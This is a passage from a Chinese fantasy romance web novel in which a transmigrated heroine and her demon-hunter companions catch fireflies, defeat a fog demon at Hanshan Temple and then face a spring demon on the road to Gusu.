如今现代化的城市中,很少再见萤火虫,学业渐渐繁忙起来,渐渐也便淡忘了这个会发光的小精灵,只存在于那段美好的记忆中。
苏锦锦突然地来了兴致,歪了歪脑袋,一双杏眼灵动俏皮地眨了眨:“时晏清,要不我们也来捉萤火虫吧。”
眼前的少年略有迟疑,没有拒绝也没有答应,呆呆地伫立于原地。
时晏清自小便生活在灵幽谷,跟着师傅走南闯北惯了,各式各样的妖怪见得多,可这“稀奇”的萤火虫,却是他十七年间第一回见,更不知如何去抓。
不待时晏清有何反应,苏锦锦倒是兴致勃勃地松开了方才握着时晏清小臂的手,提起裙摆跑向那一团团亮光处。
时晏清的目光依旧停留在苏锦锦手掌握过的那一小片区域,带着独属于少女的桃花香,还残余着丝丝温度。
草丛内,流萤间,少女挥舞着双臂,嬉戏着,娇笑着,虽并未抓到一只,脸上却并无衰败的神色,倒还是自顾自乐的开心。
而苏锦锦的目光,却盯上了其中最亮的一只。
左抓右晃,那萤火虫却次次巧妙地躲开,次次让苏锦锦落了隔空。
那只萤火虫好似跟她作对般朝着池塘中央飞去,而苏锦锦的目光直直落在它的身上,无心顾及其他,再次伸手,却再次落了个空。
苏锦锦身形不稳,本能地向前踉跄几步,便要直直向池水中央倒去。
意外地,迎来的并不是冰凉的池水,而是跌入了一个温暖的怀抱。
苏锦锦下意识扬起头,身侧萦绕着茉莉花香,随即一愣,耳尖微微泛红,快速挣脱了这个“意外”的拥抱。
时晏清感受到怀中的松动,又带了些幽怨地看着险些落水的苏锦锦,语气中不自觉地带上几分斥责:“就顾着抓,也不看看路。”
“那不是玩尽兴了嘛,一时没注意。”对着时晏清的斥责,苏锦锦心虚地微微垂下头,小声嘟囔着以报不满。
“连句谢谢也不说。”
时晏清撇过头去,目光不经意间落在方才那只最亮的萤火虫上,语气也带了几分幽怨。
苏锦锦意识到自己的错误,又小声地道了句谢,这才慢悠悠地同时晏清坐在池塘边。
流萤在深洞中闪烁,似点点星空般,多添了几分浪漫的色彩。
“你说我怎么总抓不到。”
苏锦锦双手拖着下巴,手肘支在膝盖处,眼神直直落在泛着涟漪的水面上。
湖水映得波光粼粼,可苏锦锦此刻的眼神中却带了几分懊恼。
“还不是你技术不好。”少年吐出的话冷冰冰的,苏锦锦却早已习惯了两人的对话模式,也并未接下话。
见时晏清如此冷嘲热讽,苏锦锦便也断了继续抓萤火虫的兴致,转而观赏着这洞内的独特风景。
苏锦锦那双杏眼映着萤火虫不断闪烁的光,似有盈盈秋水,本就楚楚可怜的一双杏眼又多了几分道不出的凄凉。
身侧少年的目光不经意间落在苏锦锦身上,睫羽打下一小片阴影,一手下垂,在苏锦锦看不到的角落手腕翻转,快速在虚空画了个符。
符纸飘散到角落,其中的一角燃起一个小火苗。
黑漆漆的深洞内,橙黄色的符纸渐渐开始燃烧。
一只萤火虫振了振翅,听话地朝着苏锦锦的方向飞来,最终慢慢落在苏锦锦白皙纤细的手指上,便不再有所动作。
说是听话,倒不如说是像傀儡般任人摆布。
正是方才抓不到的那只。
萤火虫乖巧地停留,尾部一闪一闪地发着光。
苏锦锦杏眸微微瞪大,眉眼间皆流露出欣喜,却也不敢有太大的动作,生怕把这只来之不易的萤火虫吓跑。
苏锦锦转过头,眼神示意着时晏清看这突如其来的惊喜,后者只淡淡地点了点头。
“我说嘛,像我这么美丽的人,连萤火虫都喜欢。”
语毕,苏锦锦还得意地扬了扬眉,又自顾自笑起来。
少女的笑声如银铃般悦耳,连带着胸前的白玉项链也清脆地响。
而幕后之人一手撑着下巴,有些好笑地看着少女欣喜的样子。
一只破萤火虫就高兴成这样。
角落处正燃烧的
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符纸渐渐只剩下一个角,其余的灰烬孤零零地趴在地上。
随着最后一丝火焰消失,残余的符纸也渐渐低下了头。
萤火虫的意识仿佛突然间回来了,振了两下翅,尾部的光渐渐熄灭,似乎在宣泄着不满。
苏锦锦歪了歪头,疑惑地观察着这只萤火虫。
可那只萤火虫依旧高高昂起头,倔强地不肯发光。
“它不会是死了吧。”
苏锦锦一双杏眸微微瞪大,对于这个不切实际的想法,有些关切又带了些担心。
那只萤火虫又似听懂般振了振翅,再一次证明了自己的存在。
身侧的少年嗤笑一声,这萤火虫脾气还挺大。
苏锦锦见此情景,并未有所犹豫,便摊开了手掌。
萤火虫落在她粉白手掌间,似是会悟了少女的意思,随之振翅飞翔。
两人的视线都落在萤火虫身上,萤火虫渐渐飞向空中,闪烁起耀眼的光芒。
时晏清有些不解,目光直直落在身侧少女的身上:“你怎么放它走了?不是喜欢吗?”
苏锦锦的视线却落在方才那只萤火虫身上,一双眸子一眨不眨地盯着:“对啊。”
“就是因为喜欢,才要放它走,若如一直困着它,对于它来说也可能是一种困扰。”
少女又歪了歪头,凑近了时晏清几分,身上独有的桃花香萦绕在两人身侧,令人遐想。
“时晏清。”
身侧的少年低低地应了一声。
“你知道吗?你和萤火虫有两个共同点。”
见时晏清略有迟疑,苏锦锦又特意顿了一下,伸出一根手指:“一呢,是脾气不好。”
“二呢?”时晏清被少女的话勾起了几分兴致,一手撑着下巴,一双桃花眼似笑非笑,顺着她的话问了下去。
“二是闪闪发光。”
苏锦锦眨着一双杏眼,笑容甜美,正如她身上的那抹熟悉的桃花香,萦绕不散。
按理说,苏锦锦那双杏眸生得本应楚楚可怜,此刻直直望着时晏清,泛着炽热的光,笑容轻柔,在这黑漆漆的洞里,在少年的眼中,显得格外明媚。
时晏清怔在了原地,心底微微一颤,带了一份难以言说的喜悦。
耳畔不断萦绕着苏锦锦方才的话,迟迟未回过神来。
她,才应该是那个闪闪发光的人。
【系统提醒:待攻略对象“时晏清”好感度上涨1%】
【系统提醒:待攻略对象“时晏清”好感度上涨1%】
【系统提醒:待……】
【系统提醒:待攻略对象“时晏清”好感度上涨1%,当前好感度25%,请宿主再接再厉】
按照原著剧情,共有四个副本,而现在神鸟一案副并未结束,好感度却已达到总目标的四分之一,苏锦锦便已心满意足。
这份喜悦,不知来自系统叮叮叮的提示音,还是来自于心底的某种不可言说的情绪。
少年的悸动,藏在微微一颤的眼睫中,也藏在这闪闪发光的流萤里。
纯真,且美好。
10. 赶路
晨曦的微光逐渐打入窗棂,轻柔的春风叫醒了熟睡的旅客。
因着昨夜折腾了大半宿的缘由,苏锦锦起得有些晚,替自己挽了个发髻,便匆匆到了桌前坐下。
白粥冒着热气,氤氲了晨起的空气。
林怀烟细心地舀了一碗白粥,轻柔地递到苏锦锦面前。
“锦锦,快吃,吃完便要继续赶路了。”
苏锦锦打了个哈欠,接下那碗粥,脑子还有些不清醒。
“谢谢林姐姐。”
自己在现代属于天黑才醒的类型,如今到了小说世界为完成任务,作息也调整了回来,难免有些不适应。
“林姐姐,我们还有多久才能到姑苏呀?”
“马车的话,最快也还需要十日左右。”林怀烟一边用膳,一边细心地替苏锦锦答疑解惑。
苏锦锦倒也不着急,毕竟原著中从长安城待姑苏城的这一路顺风顺水,何况镇远侯府的马车如此安稳,多待几日也无妨。
早膳完毕,几人收拾好行囊,便坐上了昨日的马车。
苏锦锦接连打了好几个哈欠,目光转向身侧的少年,竟毫无倦怠之意。
不过苏锦锦倒考虑不了那么多,扭过头,靠在软榻上微微眯起眼睛,便开始酝酿起睡意。
*
接连几日的舟车劳顿,已然让几人疲惫不堪。
苏锦锦一手撩开马车的幕帘,夜幕低垂,前方隐隐约约出现灯火。
车夫缓缓将马车停在了一座客栈前,便向后喊了一句:“小姐,已到了莞花城,下来歇一晚吧。”
两人下了马车,随着苏沐风的脚步进了那座客栈。
苏锦锦揉了揉惺忪的睡眼,见时晏清神色凝重,疑惑地皱了皱眉。
“怎么了?”
“这座城妖气很重。”
顺着时晏清的话,苏锦锦还装模作样地吸了吸鼻子:“哪有妖气,我怎么闻不到?”
其余几人笑了笑,眉眼间染上宠溺之色,苏沐风带着笑意开口:“锦锦还没有内丹,自是辩识不出妖气的。”
已是傍晚,客栈中活动的人不多,大部分旅客已然歇下,小厮将几人的对话听了个全,一边忙着收拾东西一边开口。
“有妖气?”
“几位应是外城人吧,劝各位还是不要在三更天到翌日清晨这段时间出屋了。”
苏锦锦精神了些许,顺着小厮的话问了下去:“为什么啊?”
“你们可是不知,这莞花城西的寒山寺住着一只妖,邪乎的很,三更天时便敲着个铃铛,路过的人仿佛被抽了魂,神不知鬼不觉就进去了,进去的人呀,再也没出来过。”
说罢,小厮还摇了摇头,语气间皆是惋惜的意味。
窗外适时地传来几声寒鸦清脆的鸣叫,在寂静的夜里显得尤为瘆人。
几人神色都较为凝重,连苏锦锦也隐约意识到其中的一丝不正常。
原著中也没提到过啊!?
苏锦锦内心不断哀嚎着,默念系统的名字。
“系统?系统?”
原著中从长安城到姑苏城的道路一帆风顺,为何这莞花城的剧情却从未提到过。
脑海中的系统似乎意识到了苏锦锦的焦急,回应着她的话。
【系统提醒:介于宿主改变了原著中部分剧情,导致剧情脱轨,现已贴心为宿主增加“莞花城”副本,望宿主再接再厉】
那抹清甜的少女音带了几分狡黠,而苏锦锦却对这一切的改变无能为力。
按理说,原著中的每一个巧合都印证着下一步剧情的发展,而如今自神鸟一案副本开启后,自己或多或少的细节也许就改变了接下来的发展。
苏锦锦轻叹一口气,思绪万千间,苏沐风已在寂静中率先开口:“如此,那今夜三更天,我们便前往寒山寺,会一会这妖怪。”
小厮本想开口再劝说一下几人,但见这几人的架势应当来头不小,便摇了摇头,识趣地讪讪住了嘴。
*
月色中天,夜色浓浓,初春的薄雾笼罩着整座莞花城,几人按照小厮的指示,缓缓走向城西几里外的寒山寺。
莞花城街上空无一人,只剩断断续续的虫鸣入耳,晚风吹来,冻的苏锦锦直打个寒颤。
远远地,阵阵呜咽声随着清脆的铃声回荡在寒山寺附近,苏沐风一边回头,一边眼神示意几人伺机而动。
寒山寺的铃声继续有节奏地响动,沉重的疲倦感来袭,苏锦锦的意识也随着铃声渐渐陷入了模糊,宛如行尸走肉般麻木地行走。
胸前的白玉项链响了又响,迫使她的思绪重回。
仿佛濒临溺死的人又重获了呼吸。
苏沐风走在前列,缓缓推开了寒山寺的门。
木门吱呀作响,里面的场景却被浓雾笼罩,可见度几乎为零。
呜咽声随着啜泣声不绝于耳,此起彼伏地在寒山寺内响起。
“是摄魂铃。”
苏沐风随师傅走南闯北,昔日捉妖时见过摄魂铃。
摄魂铃一旦响起,普通人便会失去了意识,宛如行尸走肉般,任凭摇动摄魂铃的人摆布。
而那小厮说的铃声,多半就是这摄魂铃。
林怀烟见此情形迅速从怀中掏出林家的镇妖铃,比那摄魂铃节奏更快地摇动着。
那白雾吐出一口浊气,迅速地变换着,最终化作了一个由浓雾笼罩成的人形,吞吐着气息。
“不自量力。”
“你的镇妖铃对我没有任何作用。”
还未等雾妖话音落下,时晏清便极快地念起咒语,而腰间的收妖葫却罕见地并未有所动作。
那雾妖见此情景飞快地变换着身形,此刻的收妖葫也对他无可奈何。
几人此刻伸展不出什么法术,有些无措地伫立在原地,雾妖似乎被这一场景所取悦,发出“咯咯”的瘆人的笑。
那笑声如耻辱般,烧的所有人脸颊滚烫。
一阵强烈的眩晕感袭来,酥麻感从指尖蔓延到脊髓,几人眼前迷糊一片,意识混沌前,苏锦锦心底生出一种不详的预感。
这雾妖,怕是要作怪。
眩晕感渐渐褪去,几人再度睁眼,已来到由白雾笼罩的空间。
这个空间,什么也没
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有,四周皆是白雾,整个房间白茫茫一片,唯有四人同灵狐在此。
上方传来“咯咯”的笑,好似骨头断裂般的响声,惹得人心里发毛。
“一群捉妖师,不自量力,你们就在我的白雾空间等死吧。”
那雾妖的声音渐渐褪去,四人的法器在这个所谓的白雾空间里使不出任何效果。
林怀烟尝试捶打白雾构成的屏障,而那屏障看似如白雾般没有形状,却比寻常墙壁更为结实。
折腾一番后,白皙的手掌已然冒出丝丝血丝,而那堵厚厚的屏障却仍然无动于衷。
灵狐神色恹恹地趴在苏锦锦的脚边,眼皮耷拉着,四只脚朝地,一副毅然等死的姿态。
苏锦锦恨铁不成钢地伸手摇了摇那只瘫倒在地的神狐,试图让她振作起来:“你快起来呀,你不是活了三百多年吗?你想想办法呀。”
灵狐仍旧保持原来的动作,慢吞吞开口:“连林姐姐也没辙,我就是活再久,也没有办法了。”
苏锦锦见灵狐已放弃求生的欲望,转而将眼神和希望放在其余三人的身上。
苏沐风同林怀烟还在奋力地寻找方法,几人画了的符纸用了一张又一张,可还是不见有什么太大的成效。
而一旁的时晏清,却早已瘫倒在灵狐的身侧,两人颇有一副视死如归的架势。
“系统?系统?”
“怎么办呀现在?有没有特殊道具?”
等了半晌,脑海中的系统才重新连上网。
【系统提醒:本系统只能为宿主答疑解惑或分发任务,没有协助破案的义务】
“我不会死在这吧。”
【若非危险时刻,本系统无权保护宿主,愿宿主再接再厉,早日想出破解方法】
这几日,苏锦锦的系统话也渐渐多了起来,不再是以往只会分发任务冷冰冰的“机器人”了,然而,自己还是高估了在系统心中的地位。
自此,等死两人组又多了一个人。
在这个白雾空间内,所到之处皆为白雾,整个空间内,白茫茫一片,没有白昼之分,更没有时间的感知。
人在这种情况下,虽然雾妖不会让几人这么快饿死,却足够使正常人的精神崩溃。
时间如细沙般从指缝间流走,不知外面过了多久,或许是一个晚上,也或许是几天,也有可能只有几个时辰。
苏沐风与林怀烟还未放弃寻找破解的脚步,两人强撑着,凭毅力不断地试错。
可人在这种情况下,不论是身体还是精神,即便内核再强大,也还是会承受不住的。
最终,苏沐风同林怀烟的体力也已经支撑不住了,几人一同坐在地上歇息。
“林姐姐,我们不会真要死在这里了吧。”
苏锦锦平躺在地,眼神空洞地看着这一切,有种不真实感,又有些不甘。
林怀烟眼神坚定,虽然自己也没有信心,却也安抚着其他人的情绪。
“放心吧,很快就会想到办法的,我不会让你们在这里遇难的。”
气氛一瞬陷入了寂静,林怀烟只歇息一瞬,便再次起身寻找办法。
11. 雾妖
绝望。
深深的绝望。
几人已不知在这白雾空间中徘徊了多久,最后仅剩的一丝希望也变得更加渺茫。
而林怀烟和苏沐风疲惫已达到极点,仍然支撑着,虽知希望渺茫,却也不断地试错,企图从中能找到一丝线索。
而其余三人便靠在一起,相依为命。
“系统?系统?”
“系统我错了,你带我们出去吧。”
苏锦锦的内心不断哀嚎着,等了半晌,脑海中的少女音才不紧不慢地开口。
【系统提醒:本系统并未检测到宿主存在危险情况,无权带宿主出去】
【愿宿主再接再厉】
系统的一串话宛如冷水从头浇下,淋了个透心凉。
苏锦锦无力地跌坐在地上,一双杏眼一眨不眨地盯着空荡荡的房间。
人一闲下来,脑海中就不停地思考。
此时外面应是白天还是黑夜,此行是否打乱了原著的轨迹?
一连串问题在苏锦锦脑海中炸开,在寂静的空间内,得不到任何回应,却又平添了几分烦躁。
难道他们只能坐在这里等死,没有其他办法了吗?
苏锦锦深吸一口气,平复下燥热的心,重新捋了捋思绪。
再想想,既然系统已多次告知不存在危险情况,那便一定有其他的办法。
按理说,那雾妖每逢三更天至翌日清晨才开始在寒山寺内作乱,那白日呢?白日它又在哪里?
这个问题一蹦出来,便宛如黑夜中渺茫的微光,点亮了最后的希望。
清晨之后,日头升起,当阳光照入寒山寺,雾妖是否躲在寺庙之中?
既然它的本体是雾,那么它便怕光。
“光能破雾。”
苏锦锦灵光乍现,因着这份突如其来的惊喜,眉眼间染上了喜色。
这么简单的方法,自己之前怎么没想到呢。
其余几人因着苏锦锦没来由的一句话怔愣了一瞬,随即疑惑地看向她。
苏锦锦摇了摇时晏清的胳膊,那双杏眼中重新泛起了光。
“时晏清,你有没有什么符纸可以弄出来火之类的。”
身侧的少年只怔愣了一瞬,便很快会悟了苏锦锦的意思,从怀中掏出一张橙黄色的符纸,又低低地不知念了什么咒语,符纸便开始渐渐燃烧。
火焰愈发地大了起来,在这个狭小的空间内缓缓冒着光。
雾妖似乎被几人的动作有所惊扰,低低地咆哮了一声,几人却不予任何理会。
那张燃着的符纸静静躺在地上,燃烧而带来的灼热感使雾妖不断地哀嚎着。
火势渐渐大了起来,随着温度不断升高,白雾渐渐被光亮所驱散,雾妖也不断地爆发出痛苦的哀嚎声。
一缕久违的阳光从薄雾中透了过来,渐渐的,薄雾消散,重新得见光亮。
正如苏锦锦所想,白日内雾妖为躲避光亮而躲在寒山寺中,而现如今,几人正站在其中。
刺眼的阳光迫使几人下意识抬手挡了挡,随着适应了光线后,又缓缓走出寒山寺。
一股轻柔的春风拂过耳畔,也抚平了心底最后一丝燥热的情绪。
摄魂铃也变成了普通的风铃,挂在房檐上随着春风拂过,清脆作响。
寒山寺中忽然走出了一个人。
接着,是两个,三个……
越来越多的人从寒山寺内走出。
他们神色各异,却都显现出半透明状。
“是之前被雾妖所困的灵魂。”
苏沐风低声呢喃着。
他们面色略有疲倦,却又表现出抑制不住的喜悦。
苏锦锦松了口气,语气带着些难以言喻的释怀:“那便好,他们也回家了。”
带着倦意,几人回了客栈,便立即休息下来。
一觉便是天黑。
消息传的很快,莞花城内大部分的百姓都已得知了住在寒山寺的那只雾妖已被几位捉妖师所诛杀,而困在寒山寺的那些灵魂也重新有了归宿。
莞花城街上也恢复了往日的欢声笑语,大家都不约而同地松了一口气,坠在心底的那颗石头也终于放下了。
客栈外,莞花街上,处处充斥着欢笑声与交谈声,满是欢快与幸福。
待客栈内几人休息足够后,便下了楼,叫小厮备上些可口的菜肴。
几人早已落座,但时晏清却迟迟未到。
楼上缓缓走下一个熟悉的身影,苏沐风招呼着时晏清:“阿清,快来用膳了。”
灵狐正优雅地舔着爪子,而时晏清却好似浑然未知般自顾自走到自己的位置上坐下。
长长的衣摆拂过灵狐的头,灵狐又带着几分幽怨地眼神盯着时晏清。
老板娘怕几位客官等急了,便先小跑几步,替几人斟了几盏茶。
茶水如瀑布般倾泻而下,最终落在茶盏上,冒出丝丝缕缕的热气。
苏锦锦捧着茶盏,露出半个
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小脑袋,轻轻吹着氤氲的热气。
几杯茶下肚,身子也渐渐暖和了起来。
小厮端两只手分别端着一盘菜,轻快地走向几人这桌,嘴里还吆喝着:“客官,你的菜好了,请慢……”
话音戛然而止,待小厮再抬头,望向几张熟悉的面庞时,吓得不轻,险些跌倒在地。
“这,这,这是……”
“你们怎么还活着?”
几人看向这一幕哑然失笑,又挥了挥手。
小厮随即想到些什么,声音陡得拔高起来:“难道寒山寺的雾妖就是你们……”
他后半段话没有说下去,可这声音太大,却引得客栈中其他人的目光都纷纷投过来。
客栈内的其他客官望着几人,打量着他们的身姿气度,连连称赞。
“原来是就是这几位啊……”
“是啊是啊……”
“看这气度便不是普通人……”
客栈中的其余人纷纷放下了手中的动作,回头看着这几位莞花城的“英雄”。
小厮意识到自己的失礼,又略带歉意地鞠了鞠躬,不过此时脸上的那抹笑容,正是带着几分敬意,发自内心的笑。
“不好意思,不好意思,是我唐突了。”
“几位都是莞花城的英雄。”
苏锦锦被这突如其来的一番夸奖有些弄得不知所措,有些无措地看了看其余三人。
而三人的神色,却好似早已见惯了,并没有太多的无措和震惊。
最终苏沐风轻笑一声,缓缓开口道:“捉妖师,便是降妖除魔,守护天下安定的,这算不了什么。”
随即,那只趴在地上的灵狐还舔了舔爪子,随即又略带骄傲地仰了仰头。
早已没了当初在白雾空间决然赴死的姿态。
苏锦锦有些好笑,又为灵狐舀了一勺汤,吹凉了才敢递到她的嘴边。
怎么也算是同生共死的战友,这段日子相处下来,苏锦锦倒与这只脾气阴晴不定的灵狐达成了一种莫名的默契。
灵狐慢悠悠地喝着,又满意地眯了眯眼睛,等待着苏锦锦的投喂。
忙乎了一整天,还要照顾灵狐,苏锦锦有些不满地嘟了嘟嘴。
“你都活了三百多岁也不会吃饭吗?”
虽说语气埋怨,可手下动作却未停,依然替灵狐小口小口喂着汤。
苏沐风轻笑着,出言打断这一幕。
“可以了锦锦,灵狐她不用吃太多的。”
12. 宫女
莞花城的消息传的的确快。
外头传来一阵吵闹声,不足一晚,几人替莞花城百姓诛杀雾妖的消息便传开了。
人人赞扬他们,连同着莞花城的太守得知此事,心情极佳。
几人本想今日便启程,毕竟在这莞花城已耽搁太久的时日,如此以来,去往姑苏方府的路程与时日还要推迟些。
莞花城太守本想感谢几人,听闻几人是民间的捉妖师,原计划要前往姑苏捉妖,便特意备了上好的马车。
见此情景,苏锦锦回头望着几人,随即回首,连连摆了摆手:“多谢了,不过此行我们备了马车,便不必麻烦了。”
架不住太守的一番好意,邀请几人在莞花城最著名的“缘春楼”用午膳,几人便不好再多做拒绝,便也应了此番邀请。
太阳顺着轨迹慢慢向上爬,莞花城的风柔柔地拂过耳畔,惹得人心痒痒的。
接近约定时间,几人便按照计划上了马车,朝着缘春楼的方向驶去。
苏锦锦一手撩开幕帘,外面一派车水马龙,少女手挽着手笑,小贩推着摊车卖力地吆喝着,整座莞花城一派生机与活力。
随着这幸福后到来的,便是落寞。
苏锦锦望着这活力的场景,吸了一口气,却迟迟没呼出来。
如若这个世界没有妖物,是否人人都能像莞花城百姓这派幸福。
不过事实已无法改变,他们只能尽力地做到最好。
尽力了,就是最好。
随着思绪拉回,马车前的车夫向后喊了一声:“小姐,到缘春楼了。”
苏锦锦放下手,随即整理了一下衣摆上的褶皱,几人便接连下了马车。
莞花街上人群拥挤,充斥着欢笑声。
一位抱着果蔬的大娘被人群挤的撞上了时晏清,随即因着惯性跌坐在地。
怀中的圆滚滚的果子相继掉落,咕噜噜地转了好几圈,最终安静地躺在地上,乖巧地等待着主人的到来。
时晏清眉头微微一蹙,苏锦锦顿时替这位素不相识的大娘暗暗倒吸一口气,生怕时晏清有所过激的言行。
提心吊胆间,苏锦锦刚想上前几步替大娘解围,时晏清却先一步一手扶起了大娘,又上前几步替大娘捡起那些散落的果蔬。
大娘连连道谢,撩起了眼前碍眼的碎发,蹲着身子,捡起一个个散落的果蔬,仔细地塞在怀里。
目光上移,却不经意间落在了时晏清腰间的双鱼玉佩上,随即大娘捡果蔬的动作也顿住了。
时晏清正弓着腰,一个个仔细地捡起地上散落的果子,腰间的那玫双鱼玉佩,也正随着他的动作微微摇晃。
那双鱼玉佩,一绿一白,刻着独特的纹路,品质极佳,连苏锦锦这个不识玉的人,也看出了它价值不菲。
时晏清将最后一个果子递给大娘,便拍了拍她的肩,示意她不客气。
苏锦锦内心暗暗松了口气,不过仔细看着大娘的那张脸,却越发感觉熟悉。
这张脸,似曾相识。
双鱼玉佩。
苏锦锦脑海中的一些片段不断闪烁,交织成丝丝缕缕的线索。
当初在长安城镇远侯府那个灰沉沉梦,不是阴天也不是月夜,正是雪夜。
而时晏清,也正是生在了雪夜。
渐渐的,记忆重叠,大娘的那张脸,正如梦中十七年前淑妃娘娘的大宫女的那张脸一模一样。
不过当初的大宫女,衣着光鲜亮丽,发间还插了支淑妃娘娘赏赐给她的簪子。
而如今眼前之人,衣着灰扑扑的,却也掩盖不住当初的气质,头发则用简单的木簪绾起,也许是已经卖掉了那只簪子,补贴家用。
而当初那个灰沉沉的梦中,时晏清腰间的双鱼玉佩,便是那位大宫女按照淑妃娘娘的吩咐,亲手带上的。
难怪。
难怪她认出来了眼前的少年正是十七年前淑妃娘娘交给她的“三皇子”。
不过如今淑妃娘娘正在宫里过着日复一日的生活,作为娘娘当初的贴身大宫女,在娘娘身边尽心尽力地服侍了多年,虽离了宫中却也不会背叛主子。
眼前的大娘缓缓垂下了头,不敢有所声张,也不敢与眼前的少年对视,匆匆道了谢,便抱紧了她的果蔬慌忙跑开。
时晏清只当只是平凡生活中的一个小插曲,拍了拍手,并未放在心上,便随着几人的步伐踏进了缘春楼。
缘春楼,也是莞花城最好的酒馆,之所以它这么著名,并不是因为它的菜好,而是因为它贵。
多来这儿用膳的人,大多都是达官显贵。
莞花城太守正在雅间恭候多时,备了上好的菜肴。
太守一只手落在楠木桌上,有规律地敲了又敲,叹了口气,脸上的皱纹紧紧挤在了一起,神情似乎有些不耐。
珠帘转动,碰撞出清脆的响声,太守也随着声音缓缓抬起了头,停下了手中的动作。
几人纷纷行礼,太守却连连摆手,示意几人不必多礼。
小厮替几人斟了茶,滚滚茶水泛起涟漪,太守习惯性捋了捋他花白的胡子,随即缓缓开口:“此番诛杀雾妖,也多谢了几位。”
“不必拘谨,吃好喝好,几位也是替本太守解除了心腹大患,也多亏了几位,才使得莞花城重现安宁。”
林怀烟摆了摆手,极为谦和地笑了笑:“没有没有,降妖除魔,这本就是我们捉妖师该做的。”
莞花城太守又随着几人笑了笑,眼角的皱纹挤在了一起,又低下头去,垂下的眼眸中带了几分不言而喻的情绪。
用膳时,太守向几人透露到,景和二十六年,也就是五年前,他本在
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长安任知制诰,在一次变法失败后,一路被贬到姑苏城,最终在莞花城任太守一职。
被贬时,景和莞花城,姑苏城,徽州城等江南一片又遭到了千年一遇的大旱,粮食颗粒无收,不少人家,也饿死在这场大旱中。
而寒山寺中的所有人,接连死亡,活下来的人寥寥无几。
随着这些已故之人的执念,对朝廷的怨恨等积攒,这些情绪幻化成了雾,便形成了雾妖,住在寒山寺内。
而雾妖也被赋予了太多的执念,在每晚三更天至翌日清晨时,寒山寺屋檐上的风铃便化作了摄魂铃,引诱着路人上前。
对于这雾妖,五年来也没有办法,最开始,也向长安城中的镇妖司说明了情况。
不过当今镇妖司对于长安城的妖物都漠不关心,更别提这小小的一座莞花城的雾妖了。
后来太守也向民间的捉妖师发布悬赏,霎时间,不少捉妖师慕名前来,却因着雾妖形态难测,纷纷打了退堂鼓,都不想自己受累。
一年复一年,莞花城的百姓也渐渐养成了“三更天至翌日清晨不出屋”的习惯。
而在白日里,莞花城的百姓见了这寒山寺却也开始绕着走。
而现如今,几人却替莞花城诛杀了这个“心腹大患”,使得莞花城的百姓也不再担惊受怕,也不再过着提心吊胆的生活。
思绪至此,太守又叹了口气,手指摩挲着茶盏,清澈的茶水间流落出他衰败的神情,眼底渐渐浮现出冷意。
午膳过后,几人便重新踏上了前往姑苏的路途。
踏出缘春楼,日头直晒,刺眼的眼光使得苏锦锦下意识抬手遮了遮。
“最近在莞花城耽搁太久了,三日内应到不了姑苏城了。”
“小姐,莞花城前有一片林子,人迹罕至,但如果从那穿过去,能比官道能快上几日,今日日落时分便能到。”
说罢,车夫还邀功般憨厚地朝着苏锦锦笑了笑。
“今日?”苏锦锦欣喜地不自觉拔高了声线,连连答应下来。
时晏清有些不屑地嗤了一声,便先行进了马车。
而苏锦锦正沉溺于路途缩短的喜悦中,眯了眯眼睛,靠在了椅背上。
马车渐渐驶入了一片林子,外面人群的嬉笑声与喧闹声也渐渐远去。
马车外传来阵阵鸟鸣,清脆悦耳,随着潺潺的溪水声,正如大自然最纯真的音乐。
意识混沌间,“砰”的一声,马车毫无预兆地停了下来,苏锦锦猝不及防地被摔在了地上。
下意识抓着些什么东西,却连同着时晏清也倒在了地上,气氛一瞬间陷入了诡异。
苏锦锦慌忙起身,含糊着同时晏清道了一声:“对不起。”
时晏清略有迟疑,却还是摇了摇头,拍了拍衣服上的褶皱,下车查看情况。
13. 清泉
几人纷纷下了马车,查看情况。
眼前是条峡谷,两匹马儿因为受惊坠了谷。
裂谷深不见底,断崖险峻,远远望下去,悬崖峭壁间,挂着几滴水珠,滴答滴答地向下淌,形成一道水帘。
一股清泉渐渐从裂谷中喷涌而出,几人吓得连连后退几步。
清泉的力量带动起阵阵清风,吹得树林间沙沙作响。
喷涌而出的泉水也渐渐染湿了苏锦锦下垂的衣摆,下意识地后退几步。
“系统?系统?”
“这又是你安排的副本吗?”
清甜的少女音再度在苏锦锦的脑海中响起。
【是的】
【介于宿主在上次“莞花城”副本中表现良好,本系统则贴心为宿主安排了“清泉妖”副本哦】
【愿宿主再接再厉】
苏锦锦在心中暗自叹了口气,却也不得不接受副本开启的事实。
随着力量渐渐地变大,清泉妖逐渐化作了人形,俯视打量着四人,高高在上蔑视一切。
“你快点放我们过去,我身后的林姐姐,可是捉妖世家林家的嫡女。”
苏锦锦单薄的背影挡在几人身前,高高昂着头,颇有一副狐假虎威的姿态。
“过去可以,我要她。”
清泉妖笑得猖狂肆意,形态不断变化着,随即伸出一根手指,指向了苏锦锦背后的林怀烟。
“不行。”
清脆的少女音在林子间回荡,一时间所有人都愣住了,只剩沙沙作响的树叶回应着少女的话。
清泉妖咆哮了一声,带动的风猛地吹起苏锦锦的发带与衣摆,如蝴蝶般翩翩起舞,少女的脊背却依旧挺得笔直。
林怀烟上前一步,苏锦锦却有几分护犊子的意味,紧紧牵住她的手,眼神示意着林怀烟不要怕。
谷底哗啦哗啦地响,随即,无数小水妖从裂谷中不断爬了出来,举着水斧踉踉跄跄朝着几人奔来。
其中几只小水妖没有斧头,便张开双臂挥舞着向苏锦锦冲过来,死死拽住苏锦锦的小腿。
泛着凉意的疼,从脚踝蔓延到脊髓,如针扎般密密落下,苏锦锦不由得皱了皱眉。
时晏清袖口飞出几张橙黄色符纸,符纸疾如旋踵,重重砸在缠着苏锦锦脚踝的几只小水妖身上。
随即,那几只小水妖咆哮一声,便纷纷倒了地。
身子刚触碰到地面,便瞬间蒸发在人间。
其余小水妖还并未向前走出几步,也被几人的符纸砸中,便化作了青烟,丝丝缕缕弥漫在空气中,最终化为了一体。
苏沐风与林怀烟同样飞快地扔出符纸,动作不敢有半刻的怠慢。
符纸如密雨般快速落下,很快,小水妖便所剩无几。
清泉妖愤怒着,喷洒出的水珠尽数拍打在苏锦锦的脸颊上,泛着些凉意。
“本来你们几个人也是能活的,现在,是你们捉妖人先出手的。”
清泉妖吞吐着气息,振出的怒意裹挟着风,使得林间的树叶沙沙作响。
“你们这群捉妖人,表面上为民除害,实际上呢?!”清泉妖倾吐出所有的怒意,树叶纷纷飘落,孤零零地躺在地上,望着澄澈的蓝天。
“你们滥杀无辜,五年前,我儿子只不过如往常般在林子里玩闹,既没伤天害理,也没恃强欺弱,结果就被你们这群来路不明的捉妖师给杀死了。”
